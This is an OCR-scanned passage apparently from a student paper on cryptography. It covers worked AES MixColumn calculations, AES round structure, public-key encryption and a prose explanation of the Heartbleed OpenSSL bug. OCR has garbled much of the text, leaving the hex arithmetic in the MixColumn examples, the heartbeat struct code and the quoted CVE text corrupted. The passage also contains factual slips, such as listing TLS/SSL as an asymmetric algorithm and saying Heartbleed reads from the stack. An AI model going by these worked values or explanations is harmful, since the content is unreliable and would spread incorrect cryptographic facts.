Output (0) (D4 * 2) XOR (BF*3) XOR (50°*1) XO& (30°*1)

E(L(D4) « L(02)) XOR E(L(8F) + L(C3)) XOR S0 XOR 30
E(41 + 19) XOR E(9D + 01) XOR 30 XOR X0

E(SA) XOR E(%) XOR S0 XOR 30

B3 XOX DA XOM 50 XOM )0
04

Output (1) (D4 * 1) XOR (BF2) XOR (50°3) XOR (39°1)

D4 XOR R(L(M)AL(02)) XOR R(L(58)4L(0))) XOR 3O
D4 XOM E(9D+19) XOR E(88e01) XCR IO

D4 XOR E(DE) XOR E(89) XOR 30

D4 XOR €5 XOR E7 XOR 30

L1

Output (2) * 1) XOR (MF*1) XOR (30°2) XOR (32*3)

BY XO8 E(L(S0)+L(82)) XOR E(L(I0)+L(0)))
BF XOR E(88+19) XOR E(63+01)

BT XOom E(AI) XOm E(66)

nroxom

XOK
XOK
xom
xim ™Moxon 50

|cooco
-aa‘Qﬁ

Output (3) « (D¢ * 3) XOK (BF*1) XOR (30°1) XOR (30°2)
E(LCD4A)+L(S)) XOR BF XOR 50 XOR E(L(38)+L(02))
E(41+01) XOR BF XOR %0 XOR E(6%+19)

E(42) XOR BF XOR %O XOR E{7E)

:; XON BY XOM SO XOM €0

An example of a MIX COLUMN during decryption is shown below

Input 04 66 81 S

Output (0) (04 * OE) XOR (66°08) XOK (#1°20) XOR (ES*0%)

ECLCOS) »L(0X) ) XONM ECL(CC)*L(OB)) XOM ECL(S2)+L(0D)) XOW ECLIES)*L(09))
E(I2+0F) XOR EC1E+68) XOK E(S8+EE) XOK E(20+CT)

ECIL1-FF) XOR E(86) XOR ECI46-FF) XO0R ECEV)

B(32) XOR E(R6) XOR E(47) X0R B(ED)

IR XOR W) XOR D7 X0 MC

D4

Output (1) (04 * 09) XOR (64°0E) XOR (81°00) XOR (ES*0D)

E(LEO4)4L(09)) XOR E(L{66)4LIOR)) XOR E(LIAL) ILI0N)) XOR E(L(RS)4L(0D))
E(I24C7) XOR E(IE/OF) XOR E(58+68) XOR E(20+ EX)

E(F9) XOR E(FD) XOR E(CO) XOR E(I0E-¥F)

E(F?) XOR E(FD) XOR E(CO) XOR E(0¥)

24 XOB 52 XOR FC XOm 33

wr

(04 * OD) XOR (66°0%) XOm (#1°0K) XOm (ES*OB)

E(LCO4) +L(00) ) XOR E(L{GE)+L(0D) XOR E(L(01)+L(0K)) XOR E(L(E3)+(00))
E(I2/EE) XOR E(IE«)) NOR E(S58+DF) XOR KE(20+48)

E(120-F7) XOR E(ES5) XOMm E(137-TF) XOR E(84)

E(21) X0m E(ES) XOm E(38) xom ®(k4)

34 XOm TR XOR 4F Xom SO

S0

Output (2)

Cutput (3) {04 * OB) XOR (GE*00) XOR (81°29) XOR (KS°0K)

E(LIOAI+L08)) XOR ECLI66)+LI00)I) XOR ECL(RL)+LI0%)) XOR E(LIES)+LI0E))
E()2468) XOR E(IR4ER) XOR E(38<CT) XOR E(200F)

E(WA) XOR E{I10C-FY) XOR E(1LP-FF) XOR 2(OMT)

E(WA) XOR E(0D) XOR E(20) XOR 2(OFY)

2C XOR 8 XOR ES XOm O1

30
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4.4.3 NUMBER OF ROUNDS

Then number of rounds needed depends on the key size. If the key size is 128 bits, we need 10
rounds to encrypt/decrypt, If the key is 256 bits we need 14 rounds.[7]

Key Block
Size Size Rounds
(bytes) | (bytes)
16 16 10
24 16 12
32 16 14

In the last round the MIX COLUMN instruction is not performed.

4.4.4 AES ENCRYPTION USING 16 BYTE KEY

Round

Function

Add

Round

Key (State)

Add

Round

Key (Mix

Colunn (Shift

Row (Byte

Sub(State))))

Add

Round

Key (Mix

Colunmn (Shift

Row (Byte

Sub(State))))

Add

Round

Key (Mix

Colunn (Shift

Row (Byte

Sub (State))))

Add

Round

Key (Mix

Colunmn (Shift

Row (Byte

Sub (State))))

Add

Round

Key (Mix

Colunn (Shift

Row (Byte

Sub (State))))

Add

Round

Key (Mix

Colunn (Shift

Row (Byte

Sub (State))))

Add

Round

Key (Mix

Colunn (Shift

Row (Byte

Sub(State))))

Add

Round

Key (Mix

Colunn (Shift

Row (Byte

Sub(State))))

Add

Round

Key (Mix

Colunmn (Shift

Row (Byte

Sub(State))))

Wi njnialwini-+lO

Add

Round

Key (Shift Row(Byte Sub(State)))

Encryption Instructions using 16 byte key
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4.4.5 AES DECRYPTION USING 16 BYTE KEY

Round

Function

Add

Round Key (State)

Mix

Column (Add Round

Key (Byte

Sub (Shift

Row (S5tate))))

Mix

Column (Add Round

Key (Byte

Sub (Shift

Row (State))))

Mix

Column (Add Round

Kay (Byta

Sub (Shift

Row (Stata))))

Mix

Column {(Add Round

Key (Byte

Sub (Shift

Row (State))))

Mix

Column {Add Round

Key (Byte

Sub (Shift

Row (State))))

Mix

Column (Add Round

Key (Byte

Sub (Shift

Row (State))))

Mix

Column (Add Round

Key (Byte

Sub (Shift

Row (State))))

Mix

Column (Add Round

Kay (Byta

Sub (Shift

Row (Stata))))

Mix

Column (Add Round

Key (Byte

Sub (Shift

Row (State))))

Wil onnis|lWwiNnI= O]

Add

Round Key (Byte Sub(Shift Row(State)))

Decryption Instructions using 16 byte key
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4.5 Asymmetric Cryptography

Asymmetric cryptography is based on the concept of having 2 keys per terminal. A public key and a
private key.[6]

The private key should stay on the terminal, it should under no condition be disclosed. The public
key can be sent over the network.

Lets say that Alice wants information from Bob’s computer. The encrypted traffic happens in 3 steps:

Bl
o Ace

Figure 6.1 Asymmetric Encryption

1. Alice sends her public key to Bob
2. Bob encrypts the information using Alice’s public key and sends the information back

3. Alice intercepts the encrypted information and decrypts it using her private key,

Note that even though Bob encrypted the information using Alice’s public key, she still has to
decrypt the information with her private key.

4.5.2 FAMOUS ASYMMETRIC CRYPTOGRAPHY ALGORITHMS

Famous asymmetric cryptography algorithms are :
Rivest, Shamir Adleman (RSA) —> First Algorithm for the general population
Cramer-Shoup

Transport Layer Security / Secure Socket Layer (TLS/SSL)
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4.6 HeartBleed Bug

In April 2014, the world was introduced to the worst vulnerability the Internet has ever seen.
Heartbleed. An implementation error in openSSL 1.0.1 allows remote attackers with very limited

technical skills to obtain sensitive information from websites. Passwords, encryption keys, session
keys...

66% of the services on the Internet were vulnerable. All users had to change their passwords
because it is impossible to assess the damage done by Heartbleed. How does heartBleed work?

CVE-2014-0160 Learn more at National Vulnerability Database (NVD)
» Sowtrty Rating » Mix IRrration « W, . 50 M

e

The (1) TLS and (2) OTLS implementatons o OpenSSL L 0.1 before 1.0 1g co not pecperly hancie Moartbeat Dxtension packets, which 3Sows remote 3t2ackers 1 o0tan sersitive
Information from process memory via crafied packets that trigger 3 Suter overread, 83 dersenstrated by reading private keys, relsted to SU_Both.c and tl_I0.c, oka the Hearticed bog

Figure 7.1 Heartbleed CVE

TLS has an extension called heartbeat, its basically a keep-alive feature. Ever idle period of time, the
client sends a keep alive packet to the server, the server intercepts it and pings it back to the user
allowing them to know that both parties are still in contact.

The client sends a payload of variable length (max 64K), the size of the payload and the server
address.[10]

The problem lies here. The server never checks the size of the payload variable against the actual
payload size allowing an attacker to set a very large payload size value but only send a very small
payload resulting in a memory overrun on the server side. (The server thinks that the payload is 64K
and fetches from the stack the first 64K after the pointer). This results in the server sending back
random information that very often turns out to be sensitive
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strect
{
EsartbeatMessageType type;
wintlé payload_length)
opagee payload(NeartbeatMessage.payload_leagth))
opagee padding(padding_length))
) EeartbeatMessage)

atruct asll) _record st
{
ussigned int leagth;
[easl
uasigned ohar *data)
Lese)
} SSL3_RECORD;

/* How many bytes avalilable */

/* poiater to the record data */

Figure 7.2 heartbeat message structure and SSL3_RECORD structure

Summiarising, the client sends the heartbeat message and sets the size of the payload to be 65535
bytes but actually only sends 1 byte.
The server gets the message and sends back the 1 byte + a random 655344 bytes of information

from the stack.
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5. CONCLUSION

Cyber-Security is still in its infancy and is expanding very fast, as long as there is innovation, there
will always be the need for more complex security protocols and guidelines.

White hat hackers play a cat and mouse game with black-hat hackers, they are always one step
behind.

Every day, new ways to exploit services are found and new solutions that are getting more and more
intricate are crafted to close these gaps.

The attacks that we have seen though this document illustrate ht every basic Bus and Memory
attacks, we are still at the surface of the whole spectrum of security facets.

2014 has already seen the highest number of security breaches yet. The statistics are escalating
every day.

At the time of this paper, 50,000 corporate network intrusions are detected every day and 4.5B
emails are blocked every day.
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